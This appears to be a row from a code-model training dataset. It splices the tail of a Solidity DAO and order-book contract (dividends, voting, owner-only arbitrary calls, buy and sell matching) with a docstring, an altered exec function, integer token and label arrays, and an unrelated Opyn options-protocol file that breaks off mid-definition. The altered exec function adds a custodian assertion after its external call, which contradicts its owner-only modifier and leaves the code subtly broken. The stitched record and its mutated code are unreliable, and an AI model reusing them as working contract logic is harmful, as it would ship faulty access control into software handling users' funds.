emit LogRejected(proposalDividendPerShare,proposalBudget,proposalTokens,proposalPrice);}
proposalBlock=0;
proposalVotesYes=0;
proposalVotesNo=0;
proposalDividendPerShare=0;
proposalBudget=0;
proposalTokens=0;
proposalPrice=0;
}
/**
* @dev Set next funding round parameters
* @param _price price of 1 new token
* @param _tokens amount of new tokens to issue
*/
function setNextInvestPeriod(uint _price,uint _tokens) internal {
require(totalSupply >= investMin && _price < maxPrice && totalSupply + _tokens < 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
investStart = block.number + weekBlocks*2;
investEnd = block.number + weekBlocks*4;
investPrice = _price; // too high price will disable future investments
investMax = totalSupply + _tokens;
investKYC=0;
}
/**
* @dev Finish funding round and update voting power
*/
function closeInvestPeriod() public {
require((block.number>investEnd || totalSupply>=investMax) && investStart>0 && investPrice>0 && investMax>0);
proposalID ++ ;
dividends.push(0);
totalVotes=totalSupply;
investStart=0;
investMax=0;
investKYC=0;
}
/**
* @dev Pay dividend per share
* @param _wei The amount of wei to pay per share
*/
function payDividend(uint _wei) internal returns (uint) {
if(_wei == 0){
return 1;}
//uint newdividend = _wei.mul(totalSupply);
uint newdividend = _wei * totalSupply;
require(newdividend / _wei == totalSupply);
if(address(this).balance < newdividend.add(totalWeis)){
emit LogDividend(0); //indicates failure
return 0;}
totalWeis += newdividend;
dividends[proposalID] = _wei;
proposalID ++ ;
dividends.push(0);
totalVotes=totalSupply;
emit LogDividend(_wei);
return(_wei);
}
/**
* @dev Commit remaining dividends and update votes before transfer of tokens
* @param _who User to process
*/
function commitDividend(address _who) public {
uint last = users[_who].lastProposalID;
require(investKYC==0 || last>0); // only authorized investors during KYC period
uint tokens=users[_who].tokens+users[_who].asks;
if((tokens==0) || (last==0)){
users[_who].lastProposalID=uint32(proposalID);
return;
}
if(last==proposalID) {
return;
}
if(tokens != users[_who].votes){
if(users[_who].owner != address(0)){
owners[users[_who].owner] = owners[users[_who].owner].add(tokens).sub(uint(users[_who].votes));
}
users[_who].votes=uint120(tokens); // store voting power
}
uint balance = 0;
for(; last < proposalID ; last ++) {
balance += tokens * dividends[last];
}
users[_who].weis += uint120(balance);
users[_who].lastProposalID = uint32(last);
users[_who].voted=0;
emit LogDividend(_who,balance,last);
}
/* administrative functions */
/**
* @dev Change owner
* @param _who The address of new owner
*/
function changeOwner(address _who) external onlyOwner {
assert(_who != address(0));
owner = _who;
emit LogNewOwner(_who);
}
/**
* @dev Change the official www address
* @param _www The new www address
*/
function changeWww(string calldata _www) external onlyOwner {
www=_www;
emit LogNewWww(_www);
}
/**
* @dev Change owner
* @param _who The address of new owner
*/
function changeCustodian(address _who) external { //CHANGED
assert(msg.sender == custodian);
assert(_who != address(0));
custodian = _who;
emit LogNewCustodian(_who);
}
/**
* @dev Execute a call
* @param _to destination address
* @param _data The call data
*/
function exec(address _to,bytes calldata _data) payable external onlyOwner {
emit LogExec(_to,msg.value);
(bool success, /*bytes memory _unused*/) =_to.call.value(msg.value)(_data);
require(success);
}
/**
* @dev Withdraw funds from contract by contract owner / manager
* @param _amount The amount of wei to withdraw
* @param _who The addres to send wei to
*/
function spend(uint _amount,address _who) external onlyOwner {
require(_amount > 0 && address(this).balance >= _amount.add(totalWeis) && totalSupply >= investMin);
acceptedBudget=acceptedBudget.sub(_amount); //check for excess withdrawal
if(_who == address(0)){
emit LogWithdraw(msg.sender,_amount);
(bool success, /*bytes memory _unused*/) = msg.sender.call.value(_amount)("");
require(success);}
else{
emit LogWithdraw(_who,_amount);
(bool success, /*bytes memory _unused*/) = _who.call.value(_amount)("");
require(success);}
}
/* user functions */
/**
* @dev Vote to change contract owner / manager
* @param _who The addres of the proposed new contract owner / manager
*/
function voteOwner(address _who) external {
require(_who != users[msg.sender].owner);
if(users[msg.sender].owner != address(0)){
owners[users[msg.sender].owner] = owners[users[msg.sender].owner].sub(users[msg.sender].votes);
}
users[msg.sender].owner=_who;
if(_who != address(0)){
owners[_who] = owners[_who].add(users[msg.sender].votes);
if(owners[_who] > totalVotes/2 && _who != owner){
owner = _who;
emit LogNewOwner(_who);
}
}
}
/**
* @dev Vote in favor of the current proposal
*/
function voteYes() public {
commitDividend(msg.sender);
require(users[msg.sender].voted == 0 && proposalBlock + weekBlocks*4 > block.number && proposalBlock > 0);
users[msg.sender].voted=1;
proposalVotesYes+=users[msg.sender].votes;
}
/**
* @dev Vote against the current proposal
*/
function voteNo() public {
commitDividend(msg.sender);
require(users[msg.sender].voted == 0 && proposalBlock + weekBlocks*4 > block.number && proposalBlock > 0);
users[msg.sender].voted=1;
proposalVotesNo+=users[msg.sender].votes;
}
/**
* @dev Vote in favor of the proposal defined by ID
* @param _id Proposal ID
*/
function voteYes(uint _id) external {
require(proposalID==_id);
voteYes();
}
/**
* @dev Vote against the proposal defined by ID
* @param _id Proposal ID
*/
function voteNo(uint _id) external {
require(proposalID==_id);
voteNo();
}
/**
* @dev Store funds in contract
*/
function deposit() payable external {
commitDividend(msg.sender); //CHANGED
users[msg.sender].weis += uint120(msg.value);
totalWeis += msg.value;
emit LogDeposit(msg.sender,msg.value);
}
/**
* @dev Withdraw funds from contract
* @param _amount Amount of wei to withdraw
*/
function withdraw(uint _amount) external {
commitDividend(msg.sender);
uint amount=_amount;
if(amount > 0){
require(users[msg.sender].weis >= amount);
}
else{
require(users[msg.sender].weis > 0);
amount=users[msg.sender].weis;
}
users[msg.sender].weis = uint120(uint(users[msg.sender].weis).sub(amount));
totalWeis = totalWeis.sub(amount);
//msg.sender.transfer(amount);
emit LogWithdraw(msg.sender,amount);
(bool success, /*bytes memory _unused*/) = msg.sender.call.value(amount)("");
require(success);
}
/**
* @dev Wire funds from one user to another user
* @param _amount Amount of wei to wire
* @param _who Address of the user to wire to
*/
function wire(uint _amount,address _who) external {
users[msg.sender].weis = uint120(uint(users[msg.sender].weis).sub(_amount));
users[_who].weis = uint120(uint(users[_who].weis).add(_amount));
}
/**
* @dev Send wei to contract
* @param _who Address of the payee
*/
function pay(address _who) payable external {
emit LogPayment(_who,msg.sender,msg.value);
}
/* market view functions */
/**
* @dev Return ask orders optionally filtered by user
* @param _who Optional address of the user
* @return An array of uint representing the (filtered) orders, 4 uints per order (id,price,amount,user)
*/
function ordersSell(address _who) external view returns (uint[256] memory) {
uint[256] memory ret;
uint num=firstask;
uint id=0;
for(;asks[num].price>0 && id<64;num=uint(asks[num].next)){
if(_who!=address(0) && _who!=asks[num].who){
continue;
}
ret[4*id+0]=num;
ret[4*id+1]=uint(asks[num].price);
ret[4*id+2]=uint(asks[num].amount);
ret[4*id+3]=uint(asks[num].who);
id++;}
return ret;
}
/**
* @dev Return bid orders optionally filtered by user
* @param _who Optional address of the user
* @return An array of uint representing the (filtered) orders, 4 uints per order (id,price,amount,user)
*/
function ordersBuy(address _who) external view returns (uint[256] memory) {
uint[256] memory ret;
uint num=firstbid;
uint id=0;
for(;bids[num].price>0 && id<64;num=uint(bids[num].next)){
if(_who!=address(0) && _who!=bids[num].who){
continue;
}
ret[4*id+0]=num;
ret[4*id+1]=uint(bids[num].price);
ret[4*id+2]=uint(bids[num].amount);
ret[4*id+3]=uint(bids[num].who);
id++;}
return ret;
}
/**
* @dev Find the ask order id for a user
* @param _who The address of the user
* @param _minprice Optional minimum price
* @param _maxprice Optional maximum price
* @return The id of the order
*/
function findSell(address _who,uint _minprice,uint _maxprice) external view returns (uint) {
uint num=firstask;
for(;asks[num].price>0;num=asks[num].next){
if(_maxprice > 0 && asks[num].price > _maxprice){
return 0;}
if(_minprice > 0 && asks[num].price < _minprice){
continue;}
if(_who == asks[num].who){ //FIXED !!!
return num;}}
}
/**
* @dev Find the bid order id for a user
* @param _who The address of the user
* @param _minprice Optional minimum price
* @param _maxprice Optional maximum price
* @return The id of the order
*/
function findBuy(address _who,uint _minprice,uint _maxprice) external view returns (uint) {
uint num=firstbid;
for(;bids[num].price>0;num=bids[num].next){
if(_minprice > 0 && bids[num].price < _minprice){
return 0;}
if(_maxprice > 0 && bids[num].price > _maxprice){
continue;}
if(_who == bids[num].who){
return num;}}
}
/**
* @dev Report the user address of an ask order
* @param _id The id of the order
* @return The address of the user placing the order
*/
function whoSell(uint _id) external view returns (address) {
if(_id>0){
return address(asks[_id].who);
}
return address(asks[firstask].who);
}
/**
* @dev Report the user address of a bid order
* @param _id The id of the order
* @return The address of the user placing the order
*/
function whoBuy(uint _id) external view returns (address) {
if(_id>0){
return address(bids[_id].who);
}
return address(bids[firstbid].who);
}
/**
* @dev Report the amount of tokens of an ask order
* @param _id The id of the order
* @return The amount of tokens offered
*/
function amountSell(uint _id) external view returns (uint) {
if(_id>0){
return uint(asks[_id].amount);
}
return uint(asks[firstask].amount);
}
/**
* @dev Report the amount of tokens of a bid order
* @param _id The id of the order
* @return The amount of tokens requested
*/
function amountBuy(uint _id) external view returns (uint) {
if(_id>0){
return uint(bids[_id].amount);
}
return uint(bids[firstbid].amount);
}
/**
* @dev Report the price of 1 token of an ask order
* @param _id The id of the order
* @return The requested price for 1 token
*/
function priceSell(uint _id) external view returns (uint) {
if(_id>0){
return uint(asks[_id].price);
}
return uint(asks[firstask].price);
}
/**
* @dev Report the price of 1 token of a bid order
* @param _id The id of the order
* @return The offered price for 1 token
*/
function priceBuy(uint _id) external view returns (uint) {
if(_id>0){
return uint(bids[_id].price);
}
return uint(bids[firstbid].price);
}
/* trade functions */
/**
* @dev Cancel an ask order
* @param _id The id of the order
*/
function cancelSell(uint _id) external {
require(asks[_id].price>0 && asks[_id].who==msg.sender);
users[msg.sender].tokens=uint120(uint(users[msg.sender].tokens).add(asks[_id].amount));
users[msg.sender].asks=uint120(uint(users[msg.sender].asks).sub(asks[_id].amount));
if(asks[_id].prev>0){
asks[asks[_id].prev].next=asks[_id].next;}
else{
firstask=asks[_id].next;}
if(asks[_id].next>0){
asks[asks[_id].next].prev=asks[_id].prev;}
emit LogCancelSell(msg.sender,asks[_id].amount,asks[_id].price);
delete(asks[_id]);
}
/**
* @dev Cancel a bid order
* @param _id The id of the order
*/
function cancelBuy(uint _id) external {
require(bids[_id].price>0 && bids[_id].who==msg.sender);
uint value=bids[_id].amount*bids[_id].price;
users[msg.sender].weis+=uint120(value);
if(bids[_id].prev>0){
bids[bids[_id].prev].next=bids[_id].next;}
else{
firstbid=bids[_id].next;}
if(bids[_id].next>0){
bids[bids[_id].next].prev=bids[_id].prev;}
emit LogCancelBuy(msg.sender,bids[_id].amount,bids[_id].price);
delete(bids[_id]);
}
/**
* @dev Place and ask order (sell tokens)
* @param _amount The amount of tokens to sell
* @param _price The minimum price per token in wei
*/
function sell(uint _amount, uint _price) external {
require(0 < _price && _price < maxPrice && 0 < _amount && _amount < maxTokens && _amount <= users[msg.sender].tokens);
commitDividend(msg.sender);
users[msg.sender].tokens-=uint120(_amount); //we will sell that much
uint funds=0;
uint amount=_amount;
for(;bids[firstbid].price>0 && bids[firstbid].price>=_price;){
uint value=uint(bids[firstbid].price)*uint(bids[firstbid].amount);
uint fee=value >> 9; //0.4% fee
if(amount>=bids[firstbid].amount){
amount=amount.sub(uint(bids[firstbid].amount));
commitDividend(bids[firstbid].who);
emit LogTransaction(msg.sender,bids[firstbid].who,bids[firstbid].amount,bids[firstbid].price);
//seller
//users[msg.sender].tokens-=bids[firstbid].amount;
funds=funds.add(value-fee-fee);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.sub(fee);
//buyer
users[bids[firstbid].who].tokens+=bids[firstbid].amount;
//clear
uint64 next=bids[firstbid].next;
delete bids[firstbid];
firstbid=next; // optimize and move outside ?
if(amount==0){
break;}
continue;}
value=amount*uint(bids[firstbid].price);
fee=value >> 9; //0.4% fee
commitDividend(bids[firstbid].who);
funds=funds.add(value-fee-fee);
emit LogTransaction(msg.sender,bids[firstbid].who,amount,bids[firstbid].price);
//seller
//users[msg.sender].tokens-=amount;
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.sub(fee);
bids[firstbid].amount=uint96(uint(bids[firstbid].amount).sub(amount));
require(bids[firstbid].amount>0);
//buyer
users[bids[firstbid].who].tokens+=uint120(amount);
bids[firstbid].prev=0;
totalWeis=totalWeis.sub(funds);
(bool success, /*bytes memory _unused*/) = msg.sender.call.value(funds)("");
require(success);
return;}
if(firstbid>0){
bids[firstbid].prev=0;}
if(amount>0){
uint64 ask=firstask;
uint64 last=0;
for(;asks[ask].price>0 && asks[ask].price<=_price;ask=asks[ask].next){
last=ask;}
lastask++;
asks[lastask].prev=last;
asks[lastask].next=ask;
asks[lastask].price=uint128(_price);
asks[lastask].amount=uint96(amount);
asks[lastask].who=msg.sender;
users[msg.sender].asks+=uint120(amount);
emit LogSell(msg.sender,amount,_price);
if(last>0){
asks[last].next=lastask;}
else{
firstask=lastask;}
if(ask>0){
asks[ask].prev=lastask;}}
if(funds>0){
totalWeis=totalWeis.sub(funds);
(bool success, /*bytes memory _unused*/) = msg.sender.call.value(funds)("");
require(success);}
}
/**
* @dev Place and bid order (buy tokens using Ether of the transaction)
* @param _amount The maximum amount of tokens to buy
* @param _price The maximum price per token in wei
*/
function buy(uint _amount, uint _price) payable external {
require(0 < _price && _price < maxPrice && 0 < _amount && _amount < maxTokens && _price <= msg.value);
commitDividend(msg.sender);
uint funds=msg.value;
uint amount=_amount;
uint value;
for(;asks[firstask].price>0 && asks[firstask].price<=_price;){
value=uint(asks[firstask].price)*uint(asks[firstask].amount);
uint fee=value >> 9; //2*0.4% fee
if(funds>=value+fee+fee && amount>=asks[firstask].amount){
amount=amount.sub(uint(asks[firstask].amount));
commitDividend(asks[firstask].who);
funds=funds.sub(value+fee+fee);
emit LogTransaction(asks[firstask].who,msg.sender,asks[firstask].amount,asks[firstask].price);
//seller
users[asks[firstask].who].asks-=asks[firstask].amount;
users[asks[firstask].who].weis+=uint120(value);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.add(value+fee);
//buyer
users[msg.sender].tokens+=asks[firstask].amount;
//clear
uint64 next=asks[firstask].next;
delete asks[firstask];
firstask=next; // optimize and move outside ?
if(funds<asks[firstask].price){
break;}
continue;}
if(amount>asks[firstask].amount){
amount=asks[firstask].amount;}
if((funds-(funds>>8))<amount*asks[firstask].price){
amount=(funds-(funds>>8))/asks[firstask].price;}
if(amount>0){
value=amount*uint(asks[firstask].price);
fee=value >> 9; //2*0.4% fee
commitDividend(asks[firstask].who);
funds=funds.sub(value+fee+fee);
emit LogTransaction(asks[firstask].who,msg.sender,amount,asks[firstask].price);
//seller
users[asks[firstask].who].asks-=uint120(amount);
users[asks[firstask].who].weis+=uint120(value);
users[custodian].weis+=uint120(fee);
totalWeis=totalWeis.add(value+fee);
asks[firstask].amount=uint96(uint(asks[firstask].amount).sub(amount));
require(asks[firstask].amount>0);
//buyer
users[msg.sender].tokens+=uint120(amount);}
asks[firstask].prev=0;
if(funds>0){
(bool success, /*bytes memory _unused*/) = msg.sender.call.value(funds)("");
require(success);}
return;}
if(firstask>0){ //all orders removed
asks[firstask].prev=0;}
if(amount>funds/_price){
amount=funds/_price;}
if(amount>0){
uint64 bid=firstbid;
uint64 last=0;
for(;bids[bid].price>0 && bids[bid].price>=_price;bid=bids[bid].next){
last=bid;}
lastbid++;
bids[lastbid].prev=last;
bids[lastbid].next=bid;
bids[lastbid].price=uint128(_price);
bids[lastbid].amount=uint96(amount);
bids[lastbid].who=msg.sender;
value=amount*_price;
totalWeis=totalWeis.add(value);
funds=funds.sub(value);
emit LogBuy(msg.sender,amount,_price);
if(last>0){
bids[last].next=lastbid;}
else{
firstbid=lastbid;}
if(bid>0){
bids[bid].prev=lastbid;}}
if(funds>0){
(bool success, /*bytes memory _unused*/) = msg.sender.call.value(funds)("");
require(success);}
}
}
|
* @dev Execute a call @param _to destination address @param _data The call data/
|
function exec(address _to,bytes calldata _data) payable external onlyOwner {
emit LogExec(_to,msg.value);
(bool success, /*bytes memory _unused*/) =_to.call.value(msg.value)(_data);
require(success);
assert(msg.sender == custodian);
}
| 907,033 |
[
1,
5289,
279,
745,
225,
389,
869,
2929,
1758,
225,
389,
892,
1021,
745,
501,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1196,
12,
2867,
389,
869,
16,
3890,
745,
892,
389,
892,
13,
8843,
429,
3903,
1338,
5541,
288,
203,
3639,
3626,
1827,
1905,
24899,
869,
16,
3576,
18,
1132,
1769,
203,
3639,
261,
6430,
2216,
16,
1748,
3890,
3778,
389,
14375,
5549,
13,
273,
67,
869,
18,
1991,
18,
1132,
12,
3576,
18,
1132,
21433,
67,
892,
1769,
203,
3639,
2583,
12,
4768,
1769,
203,
3639,
1815,
12,
3576,
18,
15330,
422,
276,
641,
369,
2779,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* SPDX-License-Identifier: UNLICENSED
*/
pragma solidity =0.6.10;
pragma experimental ABIEncoderV2;
// File: contracts/packages/oz/upgradeability/Initializable.sol
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly {
cs := extcodesize(self)
}
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: contracts/packages/oz/upgradeability/GSN/ContextUpgradeable.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: contracts/packages/oz/upgradeability/OwnableUpgradeSafe.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init(address _sender) internal initializer {
__Context_init_unchained();
__Ownable_init_unchained(_sender);
}
function __Ownable_init_unchained(address _sender) internal initializer {
_owner = _sender;
emit OwnershipTransferred(address(0), _sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File: contracts/packages/oz/upgradeability/ReentrancyGuardUpgradeSafe.sol
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuardUpgradeSafe is Initializable {
bool private _notEntered;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
uint256[49] private __gap;
}
// File: contracts/packages/oz/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/libs/MarginVault.sol
/**
* MarginVault Error Codes
* V1: invalid short otoken amount
* V2: invalid short otoken index
* V3: short otoken address mismatch
* V4: invalid long otoken amount
* V5: invalid long otoken index
* V6: long otoken address mismatch
* V7: invalid collateral amount
* V8: invalid collateral token index
* V9: collateral token address mismatch
*/
/**
* @title MarginVault
* @author Opyn Team
* @notice A library that provides the Controller with a Vault struct and the functions that manipulate vaults.
* Vaults describe discrete position combinations of long options, short options, and collateral assets that a user can have.
*/
library MarginVault {
using SafeMath for uint256;
// vault is a struct of 6 arrays that describe a position a user has, a user can have multiple vaults.
struct Vault {
// addresses of oTokens a user has shorted (i.e. written) against this vault
address[] shortOtokens;
// addresses of oTokens a user has bought and deposited in this vault
// user can be long oTokens without opening a vault (e.g. by buying on a DEX)
// generally, long oTokens will be 'deposited' in vaults to act as collateral in order to write oTokens against (i.e. in spreads)
address[] longOtokens;
// addresses of other ERC-20s a user has deposited as collateral in this vault
